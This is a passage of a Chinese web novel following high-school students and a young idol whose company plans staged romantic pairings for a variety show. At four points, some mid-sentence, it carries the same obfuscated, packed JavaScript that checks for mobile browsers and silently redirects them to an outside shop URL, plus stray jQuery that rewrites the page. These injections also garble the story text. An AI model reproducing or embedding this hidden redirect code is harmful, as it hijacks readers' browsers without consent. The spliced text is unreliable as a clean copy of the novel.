“……”苏琬觉得怪怪的,还没反应过来,就看见后排的程朗和白度迅速捧着手上的鸡排饭,搬着凳子,凑了上来,气势汹汹坐到旁边。 “什么?谷哥是这个团的粉丝?!” 苏琬:“……算是吧。” “真的?!” “什么样的粉丝啊?”程朗挠挠脸,“我听说那些追星的,都说自己是女友粉或者妈妈粉,就是幻想自己是明星的女友或者妈妈。” 白度:“那谷哥是啥?爸爸粉?儿子粉?……不会是,男友粉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252965|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”苏琬回忆了一下谷奕和楚恒在一起称兄道弟的样子,斟酌语气道,“……应该是,兄弟粉?” “还有这种粉?”白度嚼着鸡排,挠头。 “不错,这很直男。”林潇潇评价。 “就差不多是我们喜欢贝克汉姆那种?”程朗猜测。 …… 几个人叽叽喳喳,吵成一团。 谷奕一声吼: “哎!底下几个!不许讲话开小差!都给我认真看!” “这是我兄弟!支持一波!” “……”下面的几人对视,点头。 嗯,还会幻想自己是明星的兄弟,看来真的是兄弟粉,而且追得很狂热。 黄怀予、苏琬:“……” …… 于是,在楚门一中这个贴着高考倒计时的高三教室里,讲台上的投影仪全屏放着酷炫激烈的男团舞曲MV。 谷奕一本正经地在讲台上介绍这位金发帅哥是自己兄弟,特别帅,跳舞特别好,唱歌更是牛逼,让所有人都去关注一波。 下面零零散散聚集着十几个同学,正在一边往嘴里送饭,一边七嘴八舌讨论着MV里的人。 ——这场景确实非常诡异。但是高三学生适应环境的能力向来非常强,台下的人只是震惊了一小会,就立刻开始认真观看MV,不时还点评两句。 “哎,这个帅。” “不不不!这个才最帅!就是刚刚一闪而过的金头发的那个!” “金头发?那就是谷奕正主?” “确实是最帅的,有点鹤立鸡群了妈呀。谷奕眼光还挺不错的。” “哎呦卧槽!你们说之前谷奕刚转学来的时候也是一头黄发,跟他正主一样,不会是……跟着偶像染的粉丝发色吧!” ——众人震惊地吸口气,越想越觉得这个猜测很有可能。 作为一个高中生,为了追星,居然去冒天下之大不韪,顶着家长和学校的层层压力,去染了一个和爱豆同款的黄发! 甚至刚来的时候还因为这个离经叛道的头发,甚至被教导主任抓住,全校通报批评! 这种行为,怎能不称之为一句十年老粉。 …… 林潇潇凑到苏琬耳朵边苦口婆心地小声说了一句:“太沉迷追星,略微有点不理智。你得多提醒提醒他,让他别老把时间花在追星上,应该多来陪陪你。” 苏琬:“……” “林老师,我们这群人里最没资格说追星不好的,就是你。” 杨捷打开手边的本子:“我这个本子,从第一页开始,就是你死乞白赖非要给我签的签名,让我现在就成为你的粉丝,这样等你火了以后我就是老粉。” 众人哄笑,林潇潇红脸:“追我可以,追别人不行。读书人的事……能叫追星吗!那叫榜样的精神力量。” 杨捷:“你还是先去练练茴香豆的四种写法吧。” …… 林潇潇突然举起手,作话筒状,一个个伸到每个人的面前。 “突击采访!路人评价!” “这里面谁最帅?” 程朗:“谷奕的正主。” 白度:“谷奕的正主。” 杨捷:“谷奕的正主。” 林潇潇把手转到自己嘴边:“帅得当之无愧一骑绝尘,谷奕的正主。” 她又紧接着把手转到了苏琬嘴边,一脸期待。 ——瞬间,所有人都顺着林潇潇手移动的方向,朝着苏琬看过来。 她有些为难,犹豫几秒还是说:“谷奕的……” ——知道谷奕实际上真的和楚恒本人称兄道弟、多年好友,她实在无法说出“正主”这两个字,话到嘴边硬生生转成了:“谷奕的……兄弟。” 林潇潇又立刻把手转到了黄怀予下巴边。 “杯子,我刚刚就发现你不对了。” “我们刚刚讨论得那么欢,你居然一句话也没说!” ——林潇潇一句话引来了周围人的注意。 这要是平时,黄怀予在任何话题中都是舆论中心,碰到这种能开谷奕玩笑的场景更是一马当先地冲在前面,聊得最欢。 ——但是今天,她却出奇地安静。 45. 第 45 章 “杯子,我刚刚就发现你不对了。” “我们刚刚讨论得那么欢,你居然一句话也没说!” ——众人全部向黄怀予看过来。 “……” 苏琬闻言,有些紧张地握紧了手。 她低下头,偷偷地转身,去探黄怀予的神色。 ——她知道黄怀予为什么沉默。 …… 黄怀予安静地坐在座位上,桌上的奶茶喝了一半。 众人好奇的目光全部集中过来。 她嘴角扯出一丝笑,抬起头——此时此刻大屏幕上的MV正好轮到了楚恒的part,整张屏幕上是他的脸部大特写。 ——耳边鼓点音乐节奏强烈,他金发垂在眉间,眉宇深邃,那双眼睛像是细密的深渊,像是神秘的丛林,就这样和摄像机直直地对视着。 ……也像是在和屏幕之外的人直直地对视着。 …… 黄怀予眼前突然有点恍惚,一下子莫名其妙想到了那个受伤的周日,她从那两个黑衣男人身边跑出来,摔倒在酒吧门前。 摔得头晕目眩,摔得浑身都疼。 撑着最后的力气向上仰望,那一刻,她也是看到了这样一双眼睛。 这双眼睛,大部分时候都是漆黑的,遥远的,没有感情起伏的,淡漠冷静的,事不关己的。 就像它的主人,在另一个她从来没去过的大城市,做着林潇潇嘴里的“光怪陆离”的行业,环绕着年轻鲜艳的荷尔蒙。 ……只是,偶尔在面对她的时候,这双眼睛会有一丝波澜。 或者是惊讶,或者是好奇,还或者……只是她隐暗的一厢情愿。 …… “唉。” 黄怀予如同想通了什么般,轻轻地叹了口气。 随后,她立刻就换上了那副一贯的插科打诨的表情。 “俺也一样。” “你也一样什么?快说!”众人七嘴八舌。 “俺也觉得谷奕的老公最帅。” ——“放屁!我们是纯洁的兄弟关系!”谷奕怒吼,但是没人理他。 程朗:“没事,谷哥,我们也经常说贝克汉姆是我老公。直男的把戏而已。” 黄怀予贼贼地笑:“而且告诉你们一个秘密。” “我和他老公,有那种往来。” ——她特地语气暧昧地强调了“那种”两个字,众人的表情立刻变得十分精彩。 苏琬听到这话,立刻惊讶地看向她。连谷奕也瞪大双眼,更大声地喊道:“杯姐!你什么意思?!” “哪种?”旁边的人赶紧问。 “哎呀,就是那种。” “哪种哪种?你快说呀!” “你是他七舅姥爷家的外甥女?” “你跟他私联?” “你跟他约过会?” “他睡粉?” …… “哎呀!你们别乱猜了,公共场合说这种淫词浪语。” 黄怀予脸红,冲众人勾勾手指,凑近,轻声地一个字一个字地说: “我,关注了,他的微博。” ?? “也就是说,我,网名CUP12345678,是他的,微博粉丝。” …… 林潇潇:“你别逼我揍你。” 黄怀予大喊: “你们真讨厌!又让我说,我说完了还要揍我!” “我连光都看不到,我还去追求什么?这里断不是美的所在,不如让给丑恶来开垦,看他造出个什么世界!” “别唧唧歪歪了。”众人拿着吃完的饭盒散去,教室里又恢复了平静。 …… 周围安静下来,还有十分钟就要上晚自习了,所有人都慢慢走进教室。 黄怀予拿着杯子走出去,本想去倒水,又忍不住一个人偷偷去了拐角的楼梯间,拿出手机,点开了微博。 ——楚恒的微博最新一条,转发了他们团的新歌MV。 ——就是刚刚谷奕放出来的那个视频。 屏幕上自动播放着舞曲视频,他的脸尽管只是一闪而过,也能带来极强烈的视觉震撼。 “……”黄怀予默默良久,自言自语道,“真帅啊。” “一种与我无关的帅。” 她的手机屏蔽了所有消息提示,只有点进APP才能看到消息。 她随意点开微信,打算看看消息。 却在下一秒就看到,一个聊天框被顶到了最上层,旁边是一个醒目的小小红色的数字“2”。 ——头像,是深蓝色夜空。 ——备注,是“楚老师”。 !!! 她呼吸微滞,左手一松,水杯都没拿稳,掉在地上,发出巨大的声响。 黄怀予被吓了一跳,赶紧把水杯拿起来,定了定神,点开了聊天框。 发送时间是今天下午五点五十分。 ……正好是谷奕开始播放MV十分钟之后。 她指尖有些颤抖。 …… “【转发微博视频】” “发了新歌。” 简简单单四个字,一如对方一直以来的性格,黄怀予甚至都能想到,如果此时此刻楚恒就站在自己面前,和自己面对面说话时,脸上那冷峻的表情。 这是什么? 是通知? 是群发? 是……让自己给他刷数据,帮忙增加一遍播放量? …… 黄怀予想到这里,没来由一股火气。 她重重地放下水杯,两只手拿着手机,啪嗒啪嗒地重重打了两个字。 “恭喜” 准备按发送,想了想,又加上了一个句号。 “恭喜。” 她食指用力按下发送键,心里突然有一股没来由的畅快。 仿佛这几天,自己每天都能看见手机里和热搜上他和沈一瑾郎才女貌的那种没滋没味的心情,终于可以在这两个装高冷的字中得到抒发。 ——足可以在一贯冷淡的对方那里扳回一城。 做完了这件大事,她心情很好,拿上水杯准备进教室。 可是下一秒,手机又亮了,对方秒回。 “播放量比上次高了很多。” …… 这句话又是什么意思? 说发了新歌,还强调一遍播放量有进步? 这是在给自己交代什么? 黄怀予皱眉思考。 “叮铃铃——” 上课铃突然响起,她一惊,扫了一眼手机屏幕右上角,才发现已经六点半了,晚自习已经开始了。 她立刻转身,决心把高冷人设装到底。 黄怀予点了一个大拇指的emoji,按了发送,立刻锁屏,跑回了教室。 * 新娱公司。 沈一瑾一个人躺在宿舍的床上,划着手机。 手机屏幕上,是上次舞蹈挑战的一系列连锁热搜下的热门路人评论。 …… “明明就应该给楚恒,他和沈一瑾都是各自团里的C,一起跳这个才叫般配。” “上面的,我也是嗑他们两个!” “我也是!” “+1。” …… 沈一瑾手指顿住,嘴角不由得扬得越来越高。 她一转念,退出登录,登上了自己的小号,鬼使神差搜了一下自己和楚恒的名字。 ——没想到,居然真的搜出来了一个cp超话。 她点进去,点了关注。手机上蹦出“您已成为恒瑾超话的粉丝”,沈一瑾耳根变红,心底涌上了一股奇异的感觉。 又继续往下翻,翻出了很多粉丝剪辑的视频。 沈一瑾和楚恒在镜头前很少同框。毕竟STAR本身也没有什么资源,两个团平常只会在公司集体活动的时候才会出现在一起。 而这些粉丝,竟然是把所有的这些集体活动里她和楚恒出现过的边边角角都抠出来,配上BGM,加上各种剪辑技巧,剪出糖,剪得柔情蜜意。 …… 只是,楚恒太糊,这个cp超话人很少,发帖最多最积极的,是超话主持人,名叫“恒瑾一生”。这位粉丝发了几十个剪辑视频,几百条帖,从STAR出道开始就锲而不舍地更新。 “……”沈一瑾眼神变得柔和,给这位粉丝的视频点了赞,并且关注了TA。 突然,手机页面变换,一个电话打了进来。 “红姐?” “小瑾,等会来小会议室一趟。” …… “小瑾,上次的事,你有什么看法?” “啊?”沈一瑾想到明红说的是舞蹈挑战和之后引发的一系列事情,不由得一愣,“红姐,我已经知道错了。” 明红却摇摇头。 “我不是说这个。我是说,你能从上次网上的风向和舆论中,看出什么?” 沈一瑾呆呆地看着眼前站着的女人,她把耳边微卷的头发捋到耳后,眼里露出了和平常完全不一样的精锐光芒。 “第一,你路人缘不错。” “第二,很多人觉得你和楚恒有CP感。” 她缓缓在沈一瑾越来越不可思议的目光中开口: “一般来说,公司不会考虑让刚出道不久的年轻异□□豆炒cp,毕竟大多数时候躲都来不及。就算要推,也是推赵焰。” “但是,这次的事件中也能看出来,推赵焰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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和梁吟东那种进取的风格不一样,明红眼光毒辣,有商业头脑,不参与任何公司内部斗争,只是一心一意带艺人。 在当时新娱闹得沸沸扬扬的性骚扰事件里,她选择了明哲保身,两边都没有支持,就这样看着贾威的势力收到重创,看着梁吟东的老师文智离开新娱,最后梁吟东留了下来,接管STAR。 这次的事件,在别人眼里是危机公关,可是在明红眼里却是窥见网络舆论的引路标。 察觉到公众对于楚恒和沈一瑾之间关系的兴趣,她嗅觉敏锐,立刻就联想到了之前被毙掉的一个备选方案。 几年前,她刚刚开始带MOON的时候,一直想做一个公司内部综艺,但是一直没想好用什么形式,几经尝试都觉得不合适。 而这次事件过后,她有了一个大胆的想法: 做一个公司团综,家族综艺,打造公司家族情谊。让新娱旗下的几个偶像团体全部参加,用竞赛的方式,每期展示六个合作舞台,观众投票选择心中最喜欢的舞台,最后累计获得分数最多的人可以拿到一个S级赞助商单人广告,所在的团体可以拿到赞助商代言。 而第一期主题,就是男女爱豆抽签,组成小分队,合作双人舞台,幕后花絮作为付费内容加更。 第二期是同性不同队爱豆的小分队,拉出不同队之间的同性CP。 第三期是每个团体的经纪人与成员对谈,打造家族情谊和人设故事。 第四期是每个团队最好和最差的成员的小分队,把粉丝之间吵架的内容直接摆到明面上来,赚足讨论度。 …… 沈一瑾愣怔地坐在台下,看着PPT上出现的“第一期内容:男女爱豆抽签(沈一瑾和楚恒内定一组)”几个字时,脸一下子就变红了。 明红展示完了所有内容,眼睛一扫台下,就能知道沈一瑾此时此刻正在想什么。 “小瑾。” 她上一秒还热情地介绍着两人的cp可能性,下一秒就公事公办地提醒道: “这是工作。” “别陷进去。” …… 听到这几个字,沈一瑾恍惚地眨眨眼睛,如同被当头泼了一桶凉水,一下子清醒过来。 明红坐下来,和她直直地对视。 “你要找什么样的找不到?” “楚恒性格内向阴郁,赵焰家里背后有关系。STAR内部的事情,你永远也不要掺和进去。” “所有这些,都是营业,商业试水。” …… 沈一瑾仿佛一下子被人攫住喉咙。 半晌,她才低着头,说道: “我觉得……楚恒,像工具。” 听到这话,明红却突然笑了。 “是啊。” “我也是工具,你也是工具。” “大家都是工具,仅此而已。” 46. 第 46 章 明红速度极快,开完会之后立刻和运营部和影视部确认了细节,并开始着手准备。 梁吟东在会上默默良久,终究还是迫于上级已经同意的压力,叹口气站起身来。 “梁吟东!” 明红叫住她:“干什么去?听不下去了?” “觉得我异想天开?” “想走?” “……”梁吟东无奈,“上面都同意了,我还能听不下去?” 她毫不留恋地转身,只留下一个背影:“去给那几个孩子开会!” 明红在她身后,几秒钟之后才笑了。 * 晚上七点的小会议室里,梁吟东带着明红做的PPT,演示了公司会议上关于公司综艺的所有决策。只是这是给艺人呈现的版本,只提到了第一期综艺流程需要异性组队,并没有提到其他内部关于CP的决策。 ——只是下面,STAR几个人状态各异。 五个人都到齐了,只是一眼看过去,都一个个坐得东倒西歪。 一向不爱开会的赵焰现在看上去却仿佛心情很好,一脸胜券在握的样子,骄傲地扬着脸——梁吟东知道有贾威在,公司的任何和他相关的重大决策,他都不会太晚知道。 ——所以,也一定包括刚刚这个新鲜出炉的综艺企划。 “梁姐!” 他举起手。 “能自己选人吗?” 梁吟东看向他。 半晌,才说: “你有什么想法?” 他摸着下巴:“你让我说,那我就说了啊。” ——“我要陆橙。” 语气轻佻,仿佛菜市场买菜。 梁吟东没回答,脸上却并没有露出太难看的表情。 ——这也是明红刚刚在会议上提到过的内容。 沈一瑾楚恒、陆橙赵焰,这两对也算是舞蹈挑战事件中的核心人物,为了热度和一开始的宗旨,在节目第一期里,这两对是一定会继续这样组合的。 这不算是特殊要求。 梁吟东点点头:“你和陆橙在之前的舞蹈挑战里搭档过,效果不错。公司也考虑到了这一点,所以你和陆橙在第一期搭档是没问题的。” 她没有提到CP相关的内容,只是围绕着舞台呈现的角度说: “其他人,如果有之前比较熟悉的人选也可以告诉我,我到时候和其他同事商量。除此之外,基本上我们还是遵循随机抽签的法则,去看看不同人之间可以碰撞出什么样的火花。” “一切为了节目效果着想。” “这是很好的曝光机会,大家要记得之前确认好的人设,好好表现。” …… 她转头问:“大家还有问题吗?” 顺着座位一个一个看过去,所有人都摇头,表示没有问题。 视线来到右边最角落,却有一个人没有反应。 那人垂着头,金发堪堪遮住额头,眉头紧锁,紧紧盯着手里的手机,整个人散发出生人勿近的气场。 ——他原本也是这个会议和PPT里,本来最大的主角。 而此时此刻,他却头也没抬,一直看着手机屏幕,像是一直在思考什么事,也不知道刚刚会议的内容他听进去了多少。 “……”她看看墙上的钟,发现已经八点,觉得他也许是等会还有别的事,于是不再说什么。 “那就散会吧。” 话音刚落,连一向不爱开会的赵焰都还没来得及动,角落里那个金发身影就突然站起来,低着头,紧紧拿着手机,迅速拉开门走了。 * 楚门一中。 今天是数学晚自习。 数学老师一句废话都没有,拿着一摞卷子,走进来直接开始发。 ——这三年来,每一次数学晚自习都是这样。 两个小时正好可以当作一场小型考试。 等到八点半,二晚下课,收卷,老师立刻拿着刚收上来的卷子转身回办公室,全程两个小时一句话也不用说。 …… 谷奕有些垂头丧气地交了卷。 学了两个星期还是什么也不会,刚刚的两小时里只能对着空白的试卷挠头。 考试期间,他偷偷瞥了一眼身边的人——果然看见苏琬笔尖不停,眉头轻蹙,神色认真,卷子写得满满的。 ……唉。 他在心里急不可闻地叹口气,又开始烦躁起来。 …… 谷奕只想驱赶一下心里乱糟糟的感觉,点开手机随便划划。 ——却看见,楚恒给自己发了消息。 他点开聊天框。 两人之前的对话还停留在五点四十几分,正好是谷奕给楚恒发了那个五秒钟的视频,说自己在全班面前安利他们团的MV的时候。 但是,屏幕上又闪着一条新消息。 “她们觉得怎么样?” 一句没头没尾的话,发送于七点钟,一个半小时之前。 ……也就是黄怀予发完“恭喜”和大拇指的半小时之后。 谷奕有些疑惑。一般来说,楚恒是知道自己六点半到八点半在上晚自习,从来都不会这个时间给自己发消息的。 ——更别说,楚恒本身就很少主动给他发消息。 他看着这没头没尾的话,认真思考了一下,才明白过来楚恒是在问,那几个同学们看完了以后,觉得他的新歌MV怎么样。 他茅塞顿开,咧嘴笑了。 “做市场调查啊兄弟?” “别担心,都说你很帅!超级帅!” 他想了想,又按住语言条,说了一句:“她们还都说你是你们团最帅的。” “作为你的兄弟,我觉得倍有面儿!” ——他学着楚恒的家乡话,混着舌头说了一句极其不自然的帝都腔,以此十分自信地表示对自家哥们的认可。 对面立刻有了回复,只是一直在显示“对方正在输入中……”,仿佛正在敲敲打打删删改改。 终于,对面发过来一句话。 “所有人都这么说吗?” ……? 这又是什么意思? 为啥他哥们今天讲话突然变得这么难以理解? 谷奕冥思苦想,还是没能从他简单的大脑里思考出什么结论。 所以,他只能据实相告。 “是啊,每个人都说你最帅。” 对面又立刻显示“对方正在输入中……”,只是这一次输入的时间更长,谷奕放下手机喝了口是,楚恒还没有回复。 奇了怪了,楚恒今天怎么不仅说话神神叨叨的,连打字速度都变得这么慢了? 要知道以前楚恒打字都简洁得很,三个字能表达意思就就对不会打五个字,谷奕早就习惯了他这样冷淡的表达方式。 …… 终于,手机上蹦出一条新回复。 “那,今天有没有发生什么不高兴的事?” “你们都还好吗?” ??? 谷奕彻底懵了。 对面这人真的是楚恒吗? 这么执着地问来问去,到底是想得到什么答案? 他皱眉思考,突然觉得这种奇怪迷茫的状态好像有点熟悉——以前在某一个时刻,他也在和楚恒的对话中体验过。 ——那天晚上自己在寝室里打游戏的时候,也是被楚恒一个奇怪的电话打断。 他也是像今天这样,说了远远超过平时数量的话,却半天说不到点子上,最后绕来绕去,就是为了要黄怀予的微信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252967|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 黄怀予? 他又盯着手机屏幕认真看,这下才注意到,楚恒刚刚发的是“你们都还好吗”。 ……“你们”? 除了他还有谁? 他忍不住扭头看向左边。 ——苏琬这时正好放下了手中的书,站起来,拿着杯子走出了教室,长发在身后甩出了一个漂亮飘荡的弧度。 难道…… 他浑身一震,立刻抓起手机劈里啪啦地打字。 “哥们!” “你问这么多有的没的干什么?!” 对面立刻显示“正在输入中”,仿佛是为了解释些什么。 然而下一秒,谷奕就接着劈里啪啦地打字: ——“别告诉我你是喜欢苏琬,想加黄怀予微信,和黄怀予聊天,从黄怀予那里知道苏琬的信息并且接近她!” 这条一发出去,对面“输入中”的提示立刻没了。 “不许!” “我不同意!” “你换个人追!你们公司那沈一瑾就不错,你跟她不是蛮好的吗?” “苏琬高中还没毕业,现在以学习为重!” “你还在帝都,怎么能来楚门搞异地恋!” 他手指飞快情绪激动地打了一大堆字,已经从初步的幻想延伸到了异地恋应该如何持续的问题。 疯狂打了一大堆字发过去以后,对面却一直寂静无声,一点反应也没有。 “……”谷奕越等越急,抓耳挠腮,满脑子全是如果楚恒喜欢上苏琬,开始追她,那要怎么办? ——他突然想到之前软磨硬泡从杯姐那里得知的苏琬的感情经历。 “苏琬谈过两次恋爱,都是跟学校里小有名气的帅哥。” “谈的时候轰轰烈烈,分的时候也是干脆利落。” “对方现在都依然念念不忘。” …… 操! 他就知道苏琬是个看脸的! 楚恒长这么帅,这不是正好撞她枪口上了吗? 他越想越毛骨悚然,危机感越来越浓,正准备抓起手机打字再说些什么。 ——但是手机却震了两下。 对面有了回复。 “不是。” 简简单单两个字,熟悉的冷淡风格,带着斩钉截铁的语气。 谷奕一下子心安,呼出一口气,重重往身后一靠。 …… 手机又震了两下。 “不是她。” ? 不是她? 那是谁? …… 沈一瑾? 但是沈一瑾跟自己有什么关系? 林潇潇? 杨捷? 教室里的母蚊子? 谷奕又皱眉思考起来,可是思考了十几秒也没想出楚恒说的是谁。 刚刚才结束两个小时抓耳挠腮的数学考试,又跟楚恒聊天的时候频繁思考——谷奕最讨厌用脑子,这时候脑子里已经是一团浆糊了。 ……算了。 只要不是苏琬,是谁都无所谓。 他想到这里,立刻就轻松起来,发了两个表情包过去,决定完美结束刚刚才进行到一半的话题。 “那就好,兄弟你吓我一跳。” 他心情变好,主动开始回答楚恒之前的问题。 “今天没什么事啊,什么也没发生,就是我在班上放了你们的MV。心情好得很。” 他还想说什么,上课铃却响了。 抬头一看,已经八点四十了。三晚开始了。 “不聊了哥们,上晚自习了。拜拜!” 按下发送键,他心情舒展地关了手机,完完全全把对面的人复杂而没有机会说出口的心情也锁在了手机里。 47. 第 47 章 黄怀予放下笔,瘫在座位上,累得眼睛都不想睁开,还在默默想着刚刚卷子上最后一道大题。 是明天上午去找老师问一下? 明天上午有数学课吗? 还是下午的自习课去问? ……还没想明白,前面谷奕高大宽阔的背往后重重一靠,震得黄怀予的桌子都跟着抖了两下,桌上的水杯也晃晃悠悠,差点掉下去。 “大傻!” 黄怀予眼疾手快地扶好杯子,不耐烦地啧了一声。 “不好意思啊杯姐。” 她听见声音,抬头看他,却见他已经放下手机,拿起了一个小镜子,正在歪着脖子努力地照自己的耳朵,不知道在看什么。 臭美得要死。 黄怀予闻到他身上一阵一阵的香水味,翻了个白眼,不想看谷奕在自己面前cos方头明,于是准备起身去倒杯水。 ——结果谷奕又凑了上来,脸上浮现出一丝期待。 “杯姐,帮我看看,耳洞发炎了吗?” 黄怀予闻言,敛起神色,认真地观察。 可是翻来覆去看了一会也没看出来有什么不对,因为谷奕的耳垂和耳洞上干干净净,也不红肿,非常正常。 “没有,好好的。” “……”谷奕闻言有些失望,看看教室门外,又急切地捏着耳垂,“你再看看?” ——“看个屁!” 黄怀予从晚自习之前收到楚恒那几条莫名奇妙的消息开始,就已经一股无名火憋在心里。又连续做了两个小时的数学题,最后还被无所事事又疯狂臭美的谷奕烦得杯子都差点摔碎。 “耳洞这么正常!耳钻这么闪!” “跟苏琬的一模一样,还看个屁啊!” 黄怀予没好气地吼。 吼完那一刻,周围空气突然变得安静。 …… 她沉着脸,心想按照谷奕的暴脾气,应该会立刻跟她吵起来,正好她现在心情差,就想找人骂骂。 结果等了两三秒,却看见谷奕只是愣怔地看着她,似乎是被她吼懵了。 ——然后,他的脸颊和耳根,慢慢变红了。 ?? 他缓慢地点头:“好的。” 说完就缓缓转过身去,正襟危坐,眼睛直勾勾地盯着教室门口的方向。 ……? 黄怀予更生气了。她眉头拧起来,开始回忆她刚刚吼了什么。 “耳洞这么正常”? “和苏琬的一模一样”? 黄怀予微微一顿,那一瞬间仿佛明白了什么,随后立刻浮现出巨大的无语。 她抬眼瞟着,看见谷奕的耳朵依然红红的,但是从侧面看过去,嘴角明显在笑,很显然是觉得自己和苏琬有情侣耳钻这件事非常令人高兴。 ……操! 凭什么就她一个人不好过? 你们几个全在那里搞暧昧?! 黄怀予恨得咬牙切齿,把沈一瑾楚恒、苏琬谷奕都统统算了进去。 她本来想直接大吼:“别想了你和苏琬不可能,因为我不同意!” ……但是冷静了两秒,瞥见面前那个高大俊朗的傻大个满脸沉溺于爱情的样子,怒吼声到了嘴边又突然消散了。 …… 黑板前方正红色的高考倒计时又开始晃她的眼了。 算了。 她似乎是放弃了什么般,低下了头。 心中无男人,拔剑自然神,姐从今以后只修炼无情道! …… “大傻。” 谷奕闻声回头,撞见一脸阴沉的黄怀予。 “……”他莫名有些害怕,“咋了?” “分享会在下周一上午的地理课。” “你和苏琬一人二十分钟。” …… 面前的高个少年立刻回过神来,有些紧张地点点头,认真冲她敬了个礼。 “ThankyouMadam!” ——“你俩说什么呢?” 苏琬淡笑的声音传过来,谷奕回头看见苏琬已经拿着杯子进了教室,立刻想起了自己的主线任务,嚷嚷着自己耳朵疼,让苏琬帮自己看看有没有发炎。 “……” 黄怀予低下了头。 不客气。 反正她最擅长成人之美。 比如她初中三年,就一直在干这件事。 要是没有她在旁边起哄,说不定卫语和冯尽欢还没有那么快喜欢上对方。 …… 她指尖微动,又默默打开了手机。 微信,没有新消息。和【楚老师】之间的最后一则互动,来自于她六点半发送的【大拇指】。 微博,刚刚一刷新,首页就立刻跳出来几条新博文,而最上面的一条居然是沈一瑾和楚恒的CP剪辑视频。 【视频标题:恒瑾CP——我们的三年】 【视频作者:用户“恒瑾一生”】 …… 黄怀予手指没动,就这样看着那条视频在小窗里自动播放。 看着看着,她抬起手指,给这条视频点了个赞。 【用户“CUP12345678”给用户“恒瑾一生”的微博原创视频点了赞】 她低着头,轻轻地说:“不客气。” 反正她最擅长成人之美。 * 新娱公司。 公司综艺第一期录制正式开始,分队和选曲已经完成,现在各个分队都开始准备练习,一周以后就会开始正式舞台的录制。 …… 练习室A里。 沈一瑾一大早就起来了,化了妆卷了头发喷了香水,选了一套适合跳舞又有些搭配感的衣服,满心欢喜地早早地来到了练习室等着。 门被打开,外面透进来一束光。 她抬起头,看见门口站着一个高挑的身影,逆着光站着,脊背笔直,像一棵树。 那人走进来,穿了一件宽大的深色连帽衫,帽子一直连到头上,包住了大部分头发,只剩几缕耀眼的金色头发被拢在眉间。 他双手插在帽衫的口袋里,往前走了两步,突然一顿,金发遮盖下的那双漆黑的眼睛看过来,似乎是现在才看见练习室里有人。 “早!” 沈一瑾一下子站起来,站直,嘴角扯出一个巨大的灿烂的笑容,伸出右手挥着。 “……” 那人没说话,看了她一眼,点了一下头。 随即就迅速转过头,脚步不停,一直往前走到空调边放下包。 “……”沈一瑾伸出的手还没收回来,一路直勾勾地看着他走到墙边,清丽的脸上星星点点全是期待。 他还是那么不爱说话。 但是他冲自己点头了! 沈一瑾抿嘴,露出一个欢喜的笑。 …… 距离和老师约定好的时间还有半小时左右,空荡的练习室里只有他们两个人。 她在一旁偷看楚恒,还没想好要聊什么话题去和他破冰,就看见对方看也没看她一眼,放下包以后就习惯性地走到音响旁边选音乐。 选好以后,开始播放,立刻就站起身,面向镜子开始热身。 音乐极其大声,鼓点强烈,节奏鲜明,沈一瑾微弱的问候淹没其中。 “……”她闭上嘴,也立刻站起身,走到他旁边一个不近不远的地方,也开始跟着音乐热身练基本功。 这是一个精挑细选的位置,沈一瑾直接看镜子的时候,不用转头,也能看见他。 那,他看镜子的时候,也是能看见自己的吧? 沈一瑾想着。 …… 她借着看镜子,身上动作不停, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252968|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际上却是在盯着镜子里的楚恒。 他摘了帽子,帽衫柔软的布料搭在他背后。后脑勺尾部剃了几厘米的发尾,身材看着单薄,肩膀却很宽,公司活动晚会的时候看过他穿西装,宽肩细腰长腿,很好看。 就这样看了一分多钟,她胆子突然变得更大,直直地看向镜子里他的脸。 ……那一刻,她心里竟隐隐约约有些期待,会不会正好在镜子里,看见他正好也在看她? 可是,她等了很久。 这才发现,楚恒竟然一直都没有抬过头看镜子一眼。 他跳得极其认真,动作极其熟练,即使是基本功也没有减弱力度,慢慢训练成了肌肉记忆。 沈一瑾不知道,楚恒是因为太熟练而不用看镜子,还是因为,不想不小心看见她,所以才不看镜子。 “……”她咬了咬下唇,手上的动作变得心不在焉起来。 …… 舞蹈老师终于到了。 等到上午十点多的时候,两人已经跟着老师练了接近两小时。 “好我们先休息一下。” 老师关掉了音响,沈一瑾喘着气坐到墙边,一转头却看见一个熟悉的身影出现在练习室门口。 “橙橙?” “小瑾!” 陆橙站在门口,嘟着嘴,一脸委屈。 …… 陆橙和赵焰抽到了一首温柔系的情歌。 